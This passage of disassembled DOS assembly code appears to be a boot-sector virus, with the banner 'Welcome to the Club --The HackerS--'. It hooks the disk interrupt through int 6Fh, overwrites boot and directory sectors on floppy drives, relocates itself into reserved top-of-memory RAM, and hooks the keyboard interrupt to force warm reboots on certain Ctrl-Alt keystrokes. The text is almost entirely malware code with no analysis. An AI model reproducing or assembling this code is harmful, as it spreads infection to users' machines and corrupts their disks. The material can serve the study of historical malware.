|
|
mov bx,200h
|
|
mov ax,309h
|
|
int 6Fh ; ??int non-standard interrupt
|
|
jnc loc_0025 ; Jump if carry=0
|
|
test ah,82h
|
|
jnz loc_0026 ; Jump if not zero
|
|
loc_0025:
|
|
xor bx,bx ; Zero register
|
|
call sub_0006
|
|
cmp cs:data_0050,3
|
|
jb loc_0026 ; Jump if below
|
|
call sub_0007
|
|
loc_0026:
|
|
pop dx
|
|
pop cx
|
|
pop bx
|
|
pop ax
|
|
retn
|
|
sub_0005 endp
|
|
|
|
|
|
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
|
; SUBROUTINE
|
|
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
|
|
|
sub_0006 proc near
|
|
push ax
|
|
push cx
|
|
push dx
|
|
xor ah,ah ; Zero register
|
|
int 6Fh ; ??int non-standard interrupt
|
|
jc loc_0027 ; Jump if carry Set
|
|
xor dh,dh ; Zero register
|
|
mov dl,byte ptr cs:[529h]
|
|
mov cx,1
|
|
mov ax,301h
|
|
int 6Fh ; ??int non-standard interrupt
|
|
loc_0027:
|
|
pop dx
|
|
pop cx
|
|
pop ax
|
|
retn
|
|
sub_0006 endp
|
|
|
|
|
|
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
|
; SUBROUTINE
|
|
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
|
|
|
sub_0007 proc near
|
|
;* jmp short loc_0028 ;*
|
|
db 0EBh, 10h
|
|
nop
|
|
pop cx
|
|
stc ; Set carry flag
|
|
inc bx
|
|
stc ; Set carry flag
|
|
xor cx,di
|
|
inc bp
|
|
stc ; Set carry flag
|
|
push dx
|
|
stc ; Set carry flag
|
|
push ax
|
|
add [bx+si],al
|
|
push es
|
|
add [bx+si+53h],dx
|
|
push cx
|
|
push dx
|
|
push ds
|
|
push es
|
|
push si
|
|
push di
|
|
mov al,byte ptr ds:[529h]
|
|
mov byte ptr ds:[701h],al
|
|
mov byte ptr ds:[704h],1
|
|
mov byte ptr ds:[702h],0
|
|
mov byte ptr ds:[703h],6
|
|
loc_0029:
|
|
mov dh,byte ptr ds:[702h]
|
|
mov dl,byte ptr ds:[701h]
|
|
xor ch,ch ; Zero register
|
|
mov cl,byte ptr ds:[703h]
|
|
lea bx,cs:[1277h] ; Load effective addr
|
|
mov ax,201h
|
|
int 6Fh ; ??int non-standard interrupt
|
|
xor bx,bx ; Zero register
|
|
loc_0030:
|
|
mov al,byte ptr ds:[1282h][bx]
|
|
test al,8
|
|
jz loc_0031 ; Jump if zero
|
|
or byte ptr ds:[1282h][bx],9
|
|
lea si,ds:[6F6h] ; Load effective addr
|
|
lea di,[bx+1277h] ; Load effective addr
|
|
mov cx,0Bh
|
|
rep movsb ; Rep when cx >0 Mov [si] to es:[di]
|
|
xor al,al ; Zero register
|
|
lea di,[bx+1283h] ; Load effective addr
|
|
mov cx,14h
|
|
stosb ; Store al to es:[di]
|
|
call sub_0008
|
|
jmp short loc_0035
|
|
db 90h
|
|
loc_0031:
|
|
add bx,20h
|
|
cmp bx,200h
|
|
jae loc_0032 ; Jump if above or =
|
|
jmp short loc_0030
|
|
loc_0032:
|
|
cmp byte ptr ds:[703h],9
|
|
jb loc_0033 ; Jump if below
|
|
xor byte ptr ds:[702h],1
|
|
mov byte ptr ds:[703h],1
|
|
jmp short loc_0034
|
|
loc_0033:
|
|
inc byte ptr ds:[703h]
|
|
loc_0034:
|
|
inc byte ptr ds:[704h]
|
|
cmp byte ptr ds:[704h],7
|
|
ja loc_0035 ; Jump if above
|
|
jmp short loc_0029
|
|
loc_0035:
|
|
pop di
|
|
pop si
|
|
pop es
|
|
pop ds
|
|
pop dx
|
|
pop cx
|
|
pop bx
|
|
pop ax
|
|
retn
|
|
sub_0007 endp
|
|
|
|
|
|
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
|
; SUBROUTINE
|
|
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
|
|
|
sub_0008 proc near
|
|
push ax
|
|
push bx
|
|
push cx
|
|
push dx
|
|
xor ah,ah ; Zero register
|
|
int 6Fh ; ??int non-standard interrupt
|
|
jc loc_0036 ; Jump if carry Set
|
|
mov dh,byte ptr ds:[702h]
|
|
mov dl,byte ptr ds:[701h]
|
|
xor ch,ch ; Zero register
|
|
mov cl,byte ptr ds:[703h]
|
|
lea bx,cs:[1277h] ; Load effective addr
|
|
mov ax,301h
|
|
int 6Fh ; ??int non-standard interrupt
|
|
loc_0036:
|
|
pop dx
|
|
pop cx
|
|
pop bx
|
|
pop ax
|
|
retn
|
|
sub_0008 endp
|
|
|
|
db 0E9h, 0Bh
|
|
db 0Ah, 'The HackerS'
|
|
db 00h, 00h, 00h, 00h,0AAh,0A8h
|
|
db 00h,0AAh,0A0h, 00h, 00h, 00h
|
|
db 00h, 0Ah,0AAh,0AAh,0AAh,0AAh
|
|
db 0AAh,0A0h, 00h, 20h, 00h, 00h
|
|
db 00h, 00h, 00h, 0Ah,0AAh, 80h
|
|
db 00h, 00h, 00h, 02h
|
|
db 7 dup (0AAh)
|
|
db 0A8h, 00h, 2Ah,0AAh, 00h, 00h
|
|
db 0F6h, 22h, 28h, 00h, 00h,0EBh
|
|
db 66h, 90h, 21h, 00h, 02h, 87h
|
|
db 0E9h, 00h,0F0h, 91h, 08h, 00h
|
|
db 0C8h, 00h, 00h
|
|
db ' Welcome to the'
|
|
db ' C l u b --The HackerS--'
|
|
db ' Hackin', 27h, ' All T'
|
|
db 'he Time '
|
|
db 00h, 00h,0FFh,0FFh, 00h, 7Ch
|
|
db 00h
|
|
db 00h, 9Ch, 50h, 1Eh, 06h, 56h
|
|
db 57h, 33h,0C0h, 8Eh,0D8h, 8Eh
|
|
db 0C0h, 2Eh,0C6h, 06h, 05h, 04h
|
|
db 08h,0A1h, 4Ch, 00h, 3Dh, 26h
|
|
db 05h, 74h, 3Fh,0FAh, 2Eh,0FFh
|
|
db 06h, 03h, 04h,0A1h, 4Ch, 00h
|
|
db 0A3h,0BCh, 01h, 2Eh,0A3h, 0Ah
|
|
db 04h,0A1h, 4Eh, 00h,0A3h,0BEh
|
|
db 01h, 2Eh,0A3h, 0Ch, 04h,0B8h
|
|
db 26h, 05h,0A3h, 4Ch, 00h, 8Ch
|
|
db 0C8h,0A3h, 4Eh, 00h,0A1h, 24h
|
|
db 00h, 2Eh,0A3h, 06h, 04h,0A1h
|
|
db 26h, 00h, 2Eh,0A3h, 08h, 04h
|
|
db 0C7h, 06h, 24h, 00h,0D9h, 04h
|
|
db 8Ch,0C8h,0A3h, 26h, 00h,0FBh
|
|
loc_0039:
|
|
push cs
|
|
pop ds
|
|
mov si,offset data_0041+40h ; (' ')
|
|
mov di,data_0011e
|
|
mov cx,200h
|
|
rep movsb ; Rep when cx >0 Mov [si] to es:[di]
|
|
pop di
|
|
pop si
|
|
pop es
|
|
pop ds
|
|
pop ax
|
|
popf ; Pop flags
|
|
jmp cs:data_0057
|
|
sti ; Enable interrupts
|
|
push ax
|
|
push cx
|
|
push ds
|
|
pushf ; Push flags
|
|
xor ax,ax ; Zero register
|
|
mov ds,ax
|
|
in al,60h ; port 60h, keybd scan or sw1
|
|
test al,80h
|
|
jnz loc_0042 ; Jump if not zero
|
|
mov ah,ds:keybd_flags_1_
|
|
test ah,8
|
|
jz loc_0042 ; Jump if zero
|
|
test ah,4
|
|
jz loc_0042 ; Jump if zero
|
|
cmp al,53h ; 'S'
|
|
jne loc_0040 ; Jump if not equal
|
|
cmp byte ptr ds:video_mode_,7
|
|
je loc_0041 ; Jump if equal
|
|
cmp cs:data_0050,3
|
|
jb loc_0041 ; Jump if below
|
|
;* call sub_0017 ;*
|
|
db 0E8h,0B7h, 02h
|
|
jmp short loc_0041
|
|
loc_0040:
|
|
cmp al,3Fh ; '?'
|
|
jne loc_0042 ; Jump if not equal
|
|
loc_0041:
|
|
mov word ptr ds:warm_boot_flag_,1234h
|
|
jmp cs:data_0056
|
|
loc_0042:
|
|
popf ; Pop flags
|
|
pop ds
|
|
pop cx
|
|
pop ax
|
|
jmp dword ptr cs:data_0052
|
|
;* jmp short loc_0044 ;*
|
|
db 0EBh, 0Ah
|
|
add [bx+di],al
|
|
add [bx+di],al
|
|
jo loc_0043 ; Jump if overflow=1
|
|
loc_0043:
|
|
popf ; Pop flags
|
|
adc [bp+si],ax
|
|
add ds:data_0010e[si],bx
|
|
push si
|
|
push di
|
|
push cs
|
|
pop ds
|
|
mov byte ptr ds:[528h],dh
|
|
mov byte ptr ds:[529h],dl
|
|
mov byte ptr ds:[52Ah],ch
|
|
mov byte ptr ds:[52Bh],cl
|
|
mov word ptr ds:[52Ch],es
|
|
mov word ptr ds:[52Eh],bx
|
|
mov byte ptr ds:[530h],ah
|
|
mov byte ptr data_0066,al ; ('WS EXE ')
|
|
cmp ah,2
|
|
jb loc_0045 ; Jump if below
|
|
cmp ah,5
|
|
ja loc_0045 ; Jump if above
|
|
cmp dl,1
|
|
ja loc_0045 ; Jump if above
|
|
cmp ch,0
|
|
jne loc_0045 ; Jump if not equal
|
|
cmp dh,0
|
|
jne loc_0045 ; Jump if not equal
|
|
dec cs:data_0051
|
|
jz loc_0046 ; Jump if zero
|
|
loc_0045:
|
|
jmp short loc_0047
|
|
loc_0046:
|
|
push cs
|
|
pop es
|
|
mov cs:data_0051,2
|
|
call sub_0009
|
|
loc_0047:
|
|
mov dh,byte ptr ds:[528h]
|
|
mov dl,byte ptr ds:[529h]
|
|
mov ch,byte ptr ds:[52Ah]
|
|
mov cl,byte ptr ds:[52Bh]
|
|
mov es,word ptr ds:[52Ch]
|
|
mov bx,word ptr ds:[52Eh]
|
|
mov ah,byte ptr ds:[530h]
|
|
mov al,byte ptr data_0066 ; ('WS EXE ')
|
|
pop di
|
|
pop si
|
|
pop es
|
|
pop ds
|
|
popf ; Pop flags
|
|
jmp dword ptr cs:data_0054
|
|
|
|
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
|
; SUBROUTINE
|
|
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
|
|
|
sub_0009 proc near
|
|
push ax
|
|
push bx
|
|
push cx
|
|
push dx
|
|
xor ah,ah ; Zero register
|
|
int 6Fh ; ??int non-standard interrupt
|
|
jc loc_0050 ; Jump if carry Set
|
|
xor dh,dh ; Zero register
|
|
mov dl,byte ptr cs:[529h]
|
|
mov cx,1
|
|
mov bx,200h
|
|
mov ax,201h
|
|
int 6Fh ; ??int non-standard interrupt
|
|
jc loc_0050 ; Jump if carry Set
|
|
cmp data_0047,537Ch
|
|
je loc_0050 ; Jump if equal
|
|
cmp data_0046,0FAFAh
|
|
je loc_0048 ; Jump if equal
|
|
cmp data_0043,1234h
|
|
jne loc_0049 ; Jump if not equal
|
|
call sub_0010
|
|
jc loc_0050 ; Jump if carry Set
|
|
jmp short loc_0049
|
|
loc_0048:
|
|
;* call sub_0011 ;*
|
|
db 0E8h, 44h, 00h
|
|
jc loc_0050 ; Jump if carry Set
|
|
loc_0049:
|
|
mov bx,200h
|
|
;* call sub_0013 ;*
|
|
db 0E8h,0E1h, 00h
|
|
jc loc_0050 ; Jump if carry Set
|
|
;* call sub_0012 ;*
|
|
db 0E8h, 58h, 00h
|
|
loc_0050:
|
|
pop dx
|
|
pop cx
|
|
pop bx
|
|
pop ax
|
|
retn
|
|
sub_0009 endp
|
|
|
|
|
|
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
|
; SUBROUTINE
|
|
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
|
|
|
sub_0010 proc near
|
|
mul byte ptr [bx+di] ; ax = data * al
|
|
sub [bx+si],al
|
|
add bl,ch
|
|
xor al,90h
|
|
dec cx
|
|
inc dx
|
|
dec bp
|
|
and [bx+si],ah
|
|
xor bp,ds:data_0036e
|
|
add al,[bp+si]
|
|
add [bx+si],ax
|
|
add dh,[bx+si+0]
|
|
rol byte ptr [bp+si],1 ; Rotate
|
|
std ; Set direction flag
|
|
add al,[bx+si]
|
|
or [bx+si],ax
|
|
add al,[bx+si]
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
add [bp+si],dl
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
add [bx+si],ax
|
|
cli ; Disable interrupts
|
|
xor ax,ax ; Zero register
|
|
mov ss,ax
|
|
mov sp,7C00h
|
|
push ss
|
|
pop es
|
|
mov bx,data_0005e
|
|
lds si,dword ptr ss:[bx] ; Load 32 bit ptr
|
|
push ds
|
|
push si
|
|
push ss
|
|
push bx
|
|
mov di,data_0022e
|
|
mov cx,0Bh
|
|
cld ; Clear direction
|
|
|
|
locloop_0051:
|
|
lodsb ; String [si] to al
|
|
cmp byte ptr es:[di],0
|
|
je loc_0052 ; Jump if equal
|
|
mov al,es:[di]
|
|
loc_0052:
|
|
stosb ; Store al to es:[di]
|
|
mov al,ah
|
|
loop locloop_0051 ; Loop if cx > 0
|
|
|
|
push es
|
|
pop ds
|
|
mov [bx+2],ax
|
|
mov word ptr [bx],7C2Bh
|
|
sti ; Enable interrupts
|
|
int 13h ; Disk dl=drive ? ah=func 00h
|
|
; reset disk, al=return status
|
|
jc loc_0055 ; Jump if carry Set
|
|
mov al,ds:data_0014e
|
|
cbw ; Convrt byte to word
|
|
mul word ptr ds:data_0017e ; ax = data * ax
|
|
add ax,ds:data_0020e
|
|
add ax,ds:data_0013e
|
|
mov ds:data_0028e,ax
|
|
mov ds:data_0023e,ax
|
|
mov ax,20h
|
|
mul word ptr ds:data_0015e ; ax = data * ax
|
|
mov bx,ds:data_0012e
|
|
add ax,bx
|
|
dec ax
|
|
div bx ; ax,dx rem=dx:ax/reg
|
|
add ds:data_0023e,ax
|
|
mov bx,500h
|
|
mov ax,ds:data_0028e
|
|
call sub_0015
|
|
mov ax,201h
|
|
call sub_0016
|
|
jc loc_0053 ; Jump if carry Set
|
|
mov di,bx
|
|
mov cx,0Bh
|
|
mov si,data_0030e
|
|
repe cmpsb ; Rep zf=1+cx >0 Cmp [si] to es:[di]
|
|
jnz loc_0053 ; Jump if not zero
|
|
lea di,[bx+20h] ; Load effective addr
|
|
mov si,data_0031e
|
|
mov cx,0Bh
|
|
repe cmpsb ; Rep zf=1+cx >0 Cmp [si] to es:[di]
|
|
jz loc_0056 ; Jump if zero
|
|
loc_0053:
|
|
mov si,data_0029e
|
|
loc_0054:
|
|
call sub_0014
|
|
xor ah,ah ; Zero register
|
|
int 16h ; Keyboard i/o ah=function 00h
|
|
; get keybd char in al, ah=scan
|
|
pop si
|
|
pop ds
|
|
pop word ptr [si]
|
|
pop word ptr [si+2]
|
|
int 19h ; Bootstrap loader
|
|
loc_0055:
|
|
mov si,7DC0h
|
|
jmp short loc_0054
|
|
loc_0056:
|
|
mov ax,ds:data_0009e
|
|
xor dx,dx ; Zero register
|
|
div word ptr ds:data_0012e ; ax,dxrem=dx:ax/data
|
|
inc al
|
|
mov ds:data_0026e,al
|
|
mov ax,ds:data_0023e
|
|
mov ds:data_0027e,ax
|
|
mov bx,700h
|
|
loc_0057:
|
|
mov ax,ds:data_0023e
|
|
call sub_0015
|
|
mov ax,ds:data_0018e
|
|
sub al,ds:data_0025e
|
|
inc ax
|
|
cmp ds:data_0026e,al
|
|
jae loc_0058 ; Jump if above or =
|
|
mov al,ds:data_0026e
|
|
loc_0058:
|
|
push ax
|
|
call sub_0016
|
|
pop ax
|
|
jc loc_0055 ; Jump if carry Set
|
|
sub ds:data_0026e,al
|
|
jz loc_0059 ; Jump if zero
|
|
add ds:data_0023e,ax
|
|
mul word ptr ds:data_0012e ; ax = data * ax
|
|
add bx,ax
|
|
jmp short loc_0057
|
|
loc_0059:
|
|
mov ch,ds:data_0016e
|
|
mov dl,ds:data_0032e
|
|
mov bx,ds:data_0027e
|
|
;* jmp far ptr loc_0001 ;*
|
|
sub_0010 endp
|
|
|
|
db 0EAh, 00h, 00h, 70h, 00h
|
|
|
|
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
|
; SUBROUTINE
|
|
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
|
|
|
sub_0014 proc near
|
|
loc_0060:
|
|
lodsb ; String [si] to al
|
|
or al,al ; Zero ?
|
|
jz loc_ret_0061 ; Jump if zero
|
|
mov ah,0Eh
|
|
mov bx,7
|
|
int 10h ; Video display ah=functn 0Eh
|
|
; write char al, teletype mode
|
|
jmp short loc_0060
|
|
|
|
;ßßßß External Entry into Subroutine ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
|
|
|
sub_0015:
|
|
xor dx,dx ; Zero register
|
|
div word ptr ds:data_0018e ; ax,dxrem=dx:ax/data
|
|
inc dl
|
|
mov ds:data_0025e,dl
|
|
xor dx,dx ; Zero register
|
|
div word ptr ds:data_0019e ; ax,dxrem=dx:ax/data
|
|
mov ds:data_0021e,dl
|
|
mov ds:data_0024e,ax
|
|
|
|
loc_ret_0061:
|
|
retn
|
|
sub_0014 endp
|
|
|
|
|
|
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
|
; SUBROUTINE
|
|
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
|
|
|
sub_0016 proc near
|
|
mov ah,2
|
|
mov dx,ds:data_0024e
|
|
mov cl,6
|
|
shl dh,cl ; Shift w/zeros fill
|
|
or dh,ds:data_0025e
|
|
mov cx,dx
|
|
xchg ch,cl
|
|
mov dl,ds:data_0032e
|
|
mov dh,ds:data_0021e
|
|
int 13h ; Disk dl=drive ? ah=func 02h
|
|
; read sectors to memory es:bx
|
|
; al=#,ch=cyl,cl=sectr,dh=head
|
|
retn
|
|
sub_0016 endp
|
|
|
|
db 0Dh, 0Ah, 'Non-System disk or dis'
|
|
db 'k error', 0Dh, 0Ah, 'Replace and'
|
|
db ' strike any key when ready', 0Dh
|
|
db 0Ah, 0
|
|
db 0Dh, 0Ah, 'Disk Boot failure', 0Dh
|
|
db 0Ah, 0
|
|
db 'IBMBIO COMIBMDOS COM'
|
|
db 18 dup (0)
|
|
db 55h,0AAh, 00h, 03h, 00h, 00h
|
|
db 01h, 00h, 02h, 00h, 00h, 01h
|
|
db 00h, 01h, 00h, 00h, 01h, 00h
|
|
db 09h, 00h, 00h, 00h, 00h, 08h
|
|
db 00h, 00h, 00h, 00h, 07h, 00h
|
|
db 00h, 00h, 00h, 06h, 00h, 00h
|
|
db 00h, 00h, 05h, 00h, 00h, 00h
|
|
db 0F6h, 04h, 00h, 00h, 00h,0FDh
|
|
db 0FFh,0FFh, 00h
|
|
db 509 dup (0)
|
|
db 03h, 00h, 00h, 00h,0F6h, 02h
|
|
db 00h, 00h, 00h,0FDh,0FFh,0FFh
|
|
db 00h
|
|
db 508 dup (0)
|
|
db 0F6h, 01h, 00h, 00h, 00h,0EBh
|
|
db 29h, 90h, 22h, 34h, 12h, 00h
|
|
db 01h, 00h, 00h, 00h, 00h, 02h
|
|
db 02h, 01h, 00h, 02h, 70h, 00h
|
|
db 0D0h, 02h,0FDh, 02h, 00h, 09h
|
|
db 00h, 02h, 00h
|
|
db 8 dup (0)
|
|
db 0Fh, 00h, 00h, 00h, 00h, 01h
|
|
db 00h
|
|
db 0FAh,0FAh, 8Ch,0C8h, 8Eh,0D8h
|
|
db 8Eh,0D0h,0BCh, 00h,0F0h,0FBh
|
|
db 0B8h, 78h, 7Ch, 50h,0C3h, 73h
|
|
db 0Ah
|
|
db 0BBh, 90h, 7Ch, 53h,0C3h,0B9h
|
|
db 0B0h, 7Ch, 51h,0C3h
|
|
loc_0064:
|
|
xor ax,ax ; Zero register
|
|
mov ds,ax
|
|
mov ax,ds:main_ram_size_
|
|
cmp word ptr ds:data_0008e,0
|
|
jne loc_0065 ; Jump if not equal
|
|
mov ds:data_0008e,ax
|
|
sub ax,7
|
|
mov ds:main_ram_size_,ax
|
|
loc_0065:
|
|
mov cl,6
|
|
shl ax,cl ; Shift w/zeros fill
|
|
push cs
|
|
pop ds
|
|
mov es,ax
|
|
mov si,data_0164e
|
|
xor di,di ; Zero register
|
|
mov cx,1400h
|
|
cld ; Clear direction
|
|
rep movsb ; Rep when cx >0 Mov [si] to es:[di]
|
|
push es
|
|
mov ax,400h
|
|
push ax
|
|
retf
|
|
xor ah,ah ; Zero register
|
|
int 13h ; Disk dl=drive a ah=func 00h
|
|
; reset disk, al=return status
|
|
jc loc_0066 ; Jump if carry Set
|
|
xor dx,dx ; Zero register
|
|
mov cx,2821h
|
|
mov bx,data_0178e
|
|
mov ax,209h
|
|
int 13h ; Disk dl=drive a ah=func 02h
|
|
; read sectors to memory es:bx
|
|
; al=#,ch=cyl,cl=sectr,dh=head
|
|
loc_0066:
|
|
;* mov ax,offset loc_0077 ;*
|
|
db 0B8h, 3Ch, 7Ch
|
|
push ax
|
|
retn
|
|
db 0BEh, 5Fh, 7Dh,0B9h, 48h, 00h
|
|
|
|
locloop_0067:
|
|
xor bh,bh ; Zero register
|
|
mov al,[si]
|
|
mov ah,0Eh
|
|
int 10h ; Video display ah=functn 0Eh
|
|
; write char al, teletype mode
|
|
inc si
|
|
loop locloop_0067 ; Loop if cx > 0
|
|
|
|
loc_0068:
|
|
xor ah,ah ; Zero register
|
|
int 16h ; Keyboard i/o ah=function 00h
|
|
; get keybd char in al, ah=scan
|
|
mov ah,1
|
|
int 16h ; Keyboard i/o ah=function 01h
|
|
; get status, if zf=0 al=char
|
|
jnz loc_0068 ; Jump if not zero
|
|
;* mov bx,offset loc_0078 ;*
|
|
db 0BBh, 43h, 7Ch
|
|
push bx
|
|
retn
|
|
mov ax,cs
|
|
mov ds,ax
|
|
mov es,ax
|
|
mov si,data_0176e
|
|
mov di,data_0178e
|
|
mov cx,18h
|
|
rep movsb ; Rep when cx >0 Mov [si] to es:[di]
|
|
;* mov di,offset loc_0081 ;*
|
|
db 0BFh, 00h, 7Eh
|
|
push di
|
|
retn
|
|
db 32h,0E4h,0CDh, 13h
|
|
loc_0069:
|
|
jc loc_0070 ; Jump if carry Set
|
|
xor dx,dx ; Zero register
|
|
mov cx,1
|
|
mov bx,data_0164e
|
|
mov ax,201h
|
|
int 13h ; Disk dl=drive a ah=func 02h
|
|
; read sectors to memory es:bx
|
|
; al=#,ch=cyl,cl=sectr,dh=head
|
|
loc_0070:
|
|
;* mov bx,offset loc_0076 ;*
|
|
db 0BBh, 00h, 7Ch
|
|
push bx
|
|
retn
|
|
sub al,7Ch ; '|'
|
|
mov ds:data_0175e,ax
|
|
mov bx,700h
|
|
loc_0071:
|
|
mov ax,ds:data_0171e
|
|
call sub_0018
|
|
mov ax,ds:data_0167e
|
|
sub al,ds:data_0173e
|
|
inc ax
|
|
push ax
|
|
call sub_0019
|
|
pop ax
|
|
jc loc_0069 ; Jump if carry Set
|
|
sub ds:data_0174e,al
|
|
jbe loc_0072 ; Jump if below or =
|
|
add ds:data_0171e,ax
|
|
mul word ptr ds:data_0165e ; ax = data * ax
|
|
add bx,ax
|
|
jmp short loc_0071
|
|
loc_0072:
|
|
mov ch,ds:data_0166e
|
|
mov dl,ds:data_0169e
|
|
mov bx,ds:data_0175e
|
|
;* jmp far ptr loc_0001 ;*
|
|
db 0EAh, 00h, 00h, 70h, 00h
|
|
loc_0073:
|
|
lodsb ; String [si] to al
|
|
or al,al ; Zero ?
|
|
jz loc_ret_0074 ; Jump if zero
|
|
mov ah,0Eh
|
|
mov bx,7
|
|
int 10h ; Video display ah=functn 0Eh
|
|
; write char al, teletype mode
|
|
jmp short loc_0073
|
|
|
|
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
|
; SUBROUTINE
|
|
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
|
|
|
sub_0018 proc near
|
|
xor dx,dx ; Zero register
|
|
div word ptr ds:data_0167e ; ax,dxrem=dx:ax/data
|
|
inc dl
|
|
mov ds:data_0173e,dl
|
|
xor dx,dx ; Zero register
|
|
div word ptr ds:data_0168e ; ax,dxrem=dx:ax/data
|
|
mov byte ptr ds:data_0169e+1,dl
|
|
mov ds:data_0172e,ax
|
|
|
|
loc_ret_0074:
|
|
retn
|
|
sub_0018 endp
|
|
|
|
|
|
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
|
; SUBROUTINE
|
|
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
|
|
|
sub_0019 proc near
|
|
mov ah,2
|
|
mov dx,ds:data_0172e
|
|
mov cl,6
|
|
shl dh,cl ; Shift w/zeros fill
|
|
or dh,ds:data_0173e
|
|
mov cx,dx
|
|
xchg ch,cl
|
|
mov dx,ds:data_0169e
|
|
int 13h ; Disk dl=drive a ah=func 02h
|
|
; read sectors to memory es:bx
|
|
; al=#,ch=cyl,cl=sectr,dh=head
|
|
retn
|
|
sub_0019 endp
|
|
|
|
db 0Dh, 0Ah, 'Non-System disk or dis'
|
|
db 'k error', 0Dh, 0Ah, 'Replace and'
|
|
db ' strike any key when ready', 0Dh
|
|
db 0Ah, 0
|
|
db 0Dh, 0Ah, 'Disk Boot failure', 0Dh
|
|
db 0Ah, 0
|
|
db 'IBMBIO COMIBMDOS COM'
|
|
db 42 dup (0)
|
|
db 55h,0AAh
|
|
|
|
seg_a ends
|
|
|
|
|
|
|
|
end start
|